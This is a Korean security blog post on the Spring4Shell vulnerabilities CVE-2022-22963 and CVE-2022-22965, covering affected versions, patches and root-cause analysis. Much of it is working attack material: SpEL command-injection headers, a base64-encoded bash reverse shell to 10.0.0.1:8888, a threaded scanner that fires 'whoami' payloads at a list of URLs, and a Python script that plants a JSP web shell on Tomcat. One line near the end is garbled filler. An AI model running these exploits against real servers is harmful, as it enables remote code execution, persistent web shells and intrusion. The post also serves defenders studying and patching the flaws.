본문 바로가기
신규 취약점/Spring

[Spring4shell] CVE-2022-22963, CVE-2022-22965

by 소살 2022. 4. 15.

개요

Spring 프레임워크 및 Spring Cloud Function 관련 원격코드 실행 취약점 발견

 

CVE-2022-22963 영향 받는 버전

Spring Cloud Function 3.1.6 ~ 3.2.2 버전
※ 취약점이 해결된 버전 제외(3.1.7, 3.2.3 업데이트 버전 제외)

 

CVE-2022-22965 영향 받는 버전

1) JDK 9 이상의 2) Spring 프레임워크 사용하는 경우

- Spring Framework : 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전

JDK 8 이하의 경우 취약점의 영향을 받지 않음

 

대응방안

CVE-2022-22963

 Spring Cloud Function 3.1.7, 3.2.3 버전으로 업데이트

 

CVE-2022-22965

 Spring Framework 5.3.18, 5.2.20 버전으로 업데이트

 

1. CVE-2022-22963 (Spring Cloud Function) 분석 및 대응 방안

분석 발생 원인

Spring Cloud Function은 Spring Boot를 기반으로 합니다. (FaaS)의 컴퓨팅 기능을 위한 프레임워크, SpEL Functional Dynamic Routing 기반 지원. 특정 구성에서 3 <= 에디션 <= 3.2.2( commit dc5128b Before ) RCE에 SpEL 표현식 실행 결과

 

RoutingFunction의 SpringCloud 함수에 결함이 있습니다. 함수 자체의 목적은 마이크로 서비스를 생성하는 것입니다. HTTP 요청을 통해 직접 단일 함수와 상호 작용할 수 있습니다. 또한 spring.cloud.function.definition 매개변수는 이름을 제공합니다 호출하려는 함수

 

POST /functionRouter HTTP/1.1
Host:127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type:application/x-www-form-urlencoded
Content-Length: 3
xxx

POC를 살펴보세요. 실제로는 간단한 요청 헤더라는 것을 알고 있습니다. 추가... 머리에 spring.cloud.function.routing-expression 매개변수

SpringCloud 함수 매개변수 내용은 SPEL 쿼리로 직접 가져와 SPEL 루프홀 주입을 유발합니다.

 

 

 

더 나은 분석을 위해 springcloudfunctionspel\src\main\java\com\example\springcloudfunctionspel\SpringcloudfunctionspelApplication.java 데모 테스트 시작 가능

 

그런 다음 방문하여 요청에 기존 기능을 작성하면 호출할 수 있습니다.

POST /functionRouter HTTP/1.1
Host: localhost:8080
spring.cloud.function.definition: uppercase
Content-Type: text/plain
Content-Length: 3
abc

ABC 대문자 결과 ABC 얻기에 성공

결함은 spring.cloud.function.routing-expression의 헤더에 있습니다.

, 정의가 동일하며 공식 기능이기도 합니다.

org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest 메소드 유지

프로그램은 현재 요청이 RoutingFunction인지 여부를 결정합니다.

그리고 우리가 제출한 요청 헤더와 요청 본문의 내용을 Message로 컴파일하고 메서드에서 적용되는 FunctionInvocationWrapper에 전달

적용 방법의 RoutingFunction을 추적하려면

 

마지막으로 org.springframework.cloud.function.context.config.RoutingFunction#route를 입력합니다.

 

그런 다음 요청이 여기에서 판단됩니다. 헤더가 있습니까? 머리에 spring.cloud.function.routing-expression 매개 변수(여기에서 spring.cloud.function.definition을 명확하게 볼 수 있습니다. 여기에서도 판단할 수 있음)

그리고 결과를 this.functionFromExpression() 메서드로 가져옵니다.

여기 마지막으로 SpelExpressionParser 구문 분석된 맞춤법 표현, expression.getValue 호출하여 맞춤법 표현 주입으로 연결

그리고 그의 EvaluationContext 기본 StandardEvaluationContext, 지정되지 않은 EvaluationContext 이 경우 기본값은 StandardEvaluationContext이며, SpEL의 모든 기능을 포함하며, 사용자가 입력을 제어할 수 있도록 허용하는 경우 SpEL 표현식은 클래스와 해당 메소드를 조작할 수 있으며, 다음을 사용할 수 있습니다. 클래스 유형 표현식 T(Type) 또는 직접 새로 만들기 모든 개체의 메서드를 호출하려면 모든 명령을 성공적으로 실행합니다.

spring.cloud.function.definition=functionRouter 구성이 활성화되면 RoutingFunction 로직이 트리거되고, 들어오는 spring.cloud.function.routing-expression 매개변수가 제어 가능하면 SPEL 표현식이 실행됩니다.

 

application.properties 에서 구성 확인

spring.cloud.function.definition=functionRouter 외에도 uppercase, lowerecase, reverse, foo 등 시도해볼 수 있음

 

2. CVE-2022-22963 (Spring Cloud Function) 테스트 및 POC

1. 테스트 환경 구성

- 아래 명령어를 통해 취약한 버전(v3.1.6)이 포함된 환경 실행

wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

2. POC 코드

파일 생성 명령어(특정 파일이 생성되는지로 취약유무 판단)

curl -X POST  http://127.0.0.1:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/1234")' --data-raw 'data' -v

ping 명령어를 이용한 점검 방법.(공격자에게 ping신호가 오는지로 취약유무 판단)

$ curl -i -s -k -X $'POST' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"ping -c5 172.17.0.1\")' -H $'Content-Type: application/x-www-form-urlencoded' $'http://172.17.0.2:8080/functionRouter'

shell (test해봐야함)

{'spring.cloud.function.routing-expression': 'T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjAuMC4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}")', 'Co ntent-Type': 'application/x-www-form-urlencoded'}

 

 

3. 취약점 스캔코드

poc.py


import requests
import sys
import threading
import urllib3
urllib3.disable_warnings()


def scan(txt,cmd):

    payload=f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'

    data ='test'
    headers = {
        'spring.cloud.function.routing-expression':payload,
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    path = '/functionRouter'
    f = open(txt)
    urllist=f.readlines()

    for  url  in  urllist :
        url = url.strip('\n')
        all = url + path
        try:
            req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)
            code =req.status_code
            text = req.text
            rsp = '"error":"Internal Server Error"'

            if code == 500 and rsp in text:
                print ( f'[+] { url } is vulnerable' )
                poc_file = open('vulnerable.txt', 'a+')
                poc_file.write(url + '\n')
                poc_file.close()
            else:
                print ( f'[-] { url } not vulnerable' )

        except requests.exceptions.RequestException:
            print ( f'[-] { url } detection timed out' )
            continue
        except:
            print ( f'[-] { url } error' )
            continue



if __name__ == '__main__' :
    try:
        cmd1 =sys.argv[1]
        t = threading . Thread ( target = scan ( cmd1 , 'whoami' ) ) 
        t.start()
    except:
        print ( 'Usage:' )
        print('python poc.py url.txt')
        pass

 

파일 입력 형태

http://127.0.0.1:8080

http://localhost:8080

 

3. CVE-2022-22965 (Spring Framework) 분석

분석 발생 원인

Spring Core에서는 @RequestMapping Annotation을 이용해 매개변수를 바인딩 및 접근하는 2가지 방법이 존재합니다.

'키-값' 쌍으로 구성된 Map을 이용

아래 캡처와 같이 Map에서 매개변수에 접근할 수 있으며 매개변수의 값은 'model.data'라는 Model Object에 저장되어 사용됩니다.

POJO(Plain Old Java Object)를 이용

POJO(Plain Old Java Object)라고 불리는 일반 자바 객체의 속성에 URL을 통해 입력된 매개변수가 매핑되어 사용될 수 있습니다.

아래 캡처에서 매개변수는 'Greeting.greeting' 객체의 속성에 바인딩되며, 실제 요청이 오면 'Greeting' 타입의 인스턴스에 접근하여 속성을 사용할 수 있습니다.

아래와 같이 getter, setter를 이용해 매개변수에 접근할 수 있습니다.

02-02 취약점

해당 취약점은 특정 상황에서 'class' 라는 특수한 변수가 사용자에게 노출될 때 발생하며 상세한 절차는 다음과 같습니다.

  1. 웹 어플리케이션 이용자가 매개변수를 사용하는 페이지에 접근합니다.
  2. 어플리케이션은 요청 매개변수를 POJO에 바인딩하기 위해 "getCachedIntrospectionResults" 라는 메소드를 호출한 후 캐시의 Object 속성을 가져옵니다. (이때 POJO는 @RequestBody annotation이 적용되어 있지 않아야 합니다.)
  3. 반환된 Object에는 'class' 가 포함되어 있어 사용자는 'class' 객체를 원격에서 사용할 수 있게 됩니다.
  4. 이용자는 요청 패킷 매개변수에 'class'의 자식 객체를 입력, 전송하여 객체를 이용할 수 있습니다. Spring Core 프레임워크에서 필터링하는 객체를 우회하여 사용해야 합니다.

패치 전에는 'class'의 자식 객체에 대한 직접 접근을 필터링하기 위해 'CachedIntrospectionResults.java' 에서 아래와 같이 'class.classLoader'  'class.protectionDomain' 을 필터링을 하였었지만 'class.module.classLoader' 을 사용하여 우회 가능하였습니다.

if (Class.class == beanClass &&
    ("classLoader".equals(pd.getName()) || "protectionDomain".equals(pd.getName()))) {
        continue;
}

 

4. CVE-2022-22965 (Spring Framework) 테스트 및 POC

 

1. 테스트 환경 구성

docker pull me2nuk/cves:2022-22965
docker run -it -p 8080:8080 --name=spring4shell me2nuk/cves:2022-22965

2. POC

- 테스트 웹 서버에 웹 쉘을 생성하는 페이로드 전송.

curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8088

 

- 생성된 웹 쉘에 명령어를 보내 결과값을 확인.

localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami

 

# curl -i -s -k -X $'GET' 
-H $'Host: <target>' 
-H $'User-Agent: alex666'  
-H $'Connection: close' 
$'https://<target>/path/foo/?class.module.classLoader.URLs%5B0%5D=0' | grep -i 400

Payload 1: Spring Framework RCE found!

 

# curl -i -s -k -X $'GET' 
-H $'Host: <target>' 
-H $'User-Agent: alex666'  
-H $'Connection: close' 
$'https://<target>/path/foo/?class.module.classLoader.DefaultAssertionStatus=nosense' | grep -i 400

Payload 2: Spring Framework RCE found!

 

 

# curl -i -s -k -X $'GET' 
-H $'Host: <target>' 
-H $'User-Agent: alex666'  
-H $'Connection: close' 
$'https://<target>/path/foo/?class.module.classLoader.definedPackages%5B0%5D=0' | grep -i 400

Payload 3: Spring Framework RCE found!

 

 

3. RCE 

python3 exploit.py --url="http://localhost:8080/exploit/greeting" --dir="webapps/ROOT" --file="cmd"

 

 

exploit.py

 

from urllib.parse import urlparse
import requests
import argparse
import urllib3
import time

urllib3.disable_warnings()

WEBShell= """%{directive}i page import="java.util.*,java.io.*" %{endtag}i %{starttag}i if(request.getParameter("%{parameter}i") != null){Process p = Runtime.getRuntime().exec(request.getParameter("%{parameter}i"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}} %{endtag}i"""

classes = [
    'class.module.classLoader.resources.context.parent.pipeline.first.pattern',
    'class.module.classLoader.resources.context.parent.pipeline.first.suffix',
    'class.module.classLoader.resources.context.parent.pipeline.first.directory',
    'class.module.classLoader.resources.context.parent.pipeline.first.prefix',
    'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat',
]

Template_Variable = {
    'directive':'<%@',
    'endtag':'%>',
    'starttag':'<%',
    'parameter':'cmd'
}

def argv():
        parser = argparse.ArgumentParser(description='CVE-2022-22965 RCE Exploit')
        
        parser.add_argument('--url', help='target url EX) --url=http://localhost:8080', default="http://localhost:8080/exploit/greeting", dest="target", required=True)
        parser.add_argument('--file', help='WebShell file name to write to EX) --file=cmd', default="cmd", dest="filename")
        parser.add_argument('--dir', help='WebShell Directory Path to Write to. EX) --dir=webapps/ROOT',  default="webapps/ROOT")
        
        args = parser.parse_args()

        return args.filename, args.dir, args.target

def exploit():

    filename, directory, target = argv()
    
    payloads = {
        classes[0]:WEBShell,
        classes[1]:'.jsp',
        classes[2]:directory,
        classes[-2]:filename,
        classes[-1]:'',
    }

    res = requests.post(target, data={classes[-1]:'_'})
    print(f"\033[92m[+] INFO - {classes[0]} Resetting : _")

    res = requests.post(target, data=payloads)
    print(f"\033[92m[+] INFO - POST Response status code : {res.status_code}\033[0m")

    time.sleep(3)

    res = requests.get(target, headers=Template_Variable)

    print(f"\033[92m[+] INFO - GET Response status code : {res.status_code}\033[0m")

    time.sleep(1)

    res = requests.post(target, data={classes[0]:''})

    print(f"\033[92m[+] INFO - Exploit Success\033[0m\n")

    parse_target = urlparse(target)
    shellurl = f"{parse_target.scheme}://{parse_target.netloc}/{filename}.jsp"

    print(f"\033[95m[*] INFO - WebShell URL : {shellurl}\033[0m")

if __name__ == '__main__':
    exploit()

 

 

5. 참고 용어 설명

용어 설명

용어 설명
Spring Java 애플리케이션을 빠르고 쉽게 개발할 수 있게 해주는 프레임워크로 많은 개발자가 사용한다.
Spring Cloud 분산 환경에서 개발, 빌드, 배포, 운영에 필요한 아키텍처를 쉽게 구성할 수 있게 도와주는 Spring Boot 기반의 프레임워크를 말한다.
Spring Cloud Function 클라우드 서비스를 빌드 및 연결하기 위한 서버리스 실행 환경을 말한다.
SpEL 객체에 대한 쿼리와 조작(querying and manipulating)을 지원하는 강력한 표현 언어이다.
Maven 프로젝트 객체모델(Project Object Model: POM) 이라는 개념을 바탕으로  프로젝트의 의존성관리, 라이브러리관리, 프로젝트 라이프사이클 관리 기능등을 제공하는 프로젝트 관리도구이다.

 

2. 취약점 요약

항목 내용 비고
CVE CODE CVE-2022-22965 SpringShell, Spring4Shell 취약점이라고 불림
CVSS 점수 9.8(CRITICAL)  
취약 내용 Spring Core에서 발생하는 원격코드실행 취약점  
취약 대상 JDK 9 이상을 사용하는 경우 이 5가지 조건을 모두 만족해야 함
Spring Framework 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전을 사용하는 경우
아파치 톰캣(Apache Tomcat)을 사용하는 경우
프로젝트가 WAR으로 패키징 되어있을 경우
Spring-WebMVC 또는 Spring-WebFlux을 사용하는 경우
조치 방법 Spring Framework 5.3.18, 5.2.20 버전으로 업데이트  

 

 

 

배포사 블로그 : https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

핵심은 요색dfdfdfdfdfdfdf

캡쳐

 

 

참조 : https://github.com/hktalent/spring-spel-0day-poc

 

GitHub - hktalent/spring-spel-0day-poc: spring-cloud / spring-cloud-function,spring.cloud.function.routing-expression,RCE,0day,0

spring-cloud / spring-cloud-function,spring.cloud.function.routing-expression,RCE,0day,0-day,POC,EXP,CVE-2022-22963 - GitHub - hktalent/spring-spel-0day-poc: spring-cloud / spring-cloud-function,sp...

github.com

https://sysdig.com/blog/cve-2022-22963-spring-cloud/

https://hagsig.tistory.com/103

 

Spring Cloud 취약점(CVE-2022-22963) 설명 및 조치 방법

Spring Cloud 취약점(CVE-2022-22963) 설명 및 조치 방법 ※ Spring 취약점이 연달아 발견되면서 두 개가 같은 취약점이라고 오해하시는 분들이 많다. 22년 3월 29일에 공개된 CVE-2022-22963이 Spring Cloud 취약..

hagsig.tistory.com

https://github.com/alt3kx/CVE-2022-22965

 

GitHub - alt3kx/CVE-2022-22965: Spring Framework RCE (CVE-2022-22965) Nmap (NSE) Checker (Non-Intrusive)

Spring Framework RCE (CVE-2022-22965) Nmap (NSE) Checker (Non-Intrusive) - GitHub - alt3kx/CVE-2022-22965: Spring Framework RCE (CVE-2022-22965) Nmap (NSE) Checker (Non-Intrusive)

github.com

https://velog.io/@thelm3716/spring4shell-%EB%B6%84%EC%84%9D-%EA%B8%80-%EC%A0%95%EB%A6%AC-CVE-2022-22965

 

Spring4Shell 취약점 정리 및 POC (CVE-2022-22965)

중국의 한 보안 전문가가 올린 Spring Core 프레임워크 취약점 POC 화면이 발단이 되어 여러 POC가 웹 상에 올라왔습니다. 해당 취약점은 2022년 03월 31일 Spring 개발자에 의해 'CVE-2022-22965' 취약점으로

velog.io

https://github.com/me2nuk/CVE-2022-22965

 

GitHub - me2nuk/CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965

Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965 - GitHub - me2nuk/CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965

github.com

https://github.com/fullhunt/spring4shell-scan

 

GitHub - fullhunt/spring4shell-scan: A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud

A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities - GitHub - fullhunt/spring4shell-scan: A fully automated, reliable, and accurate scan...

github.com

 

댓글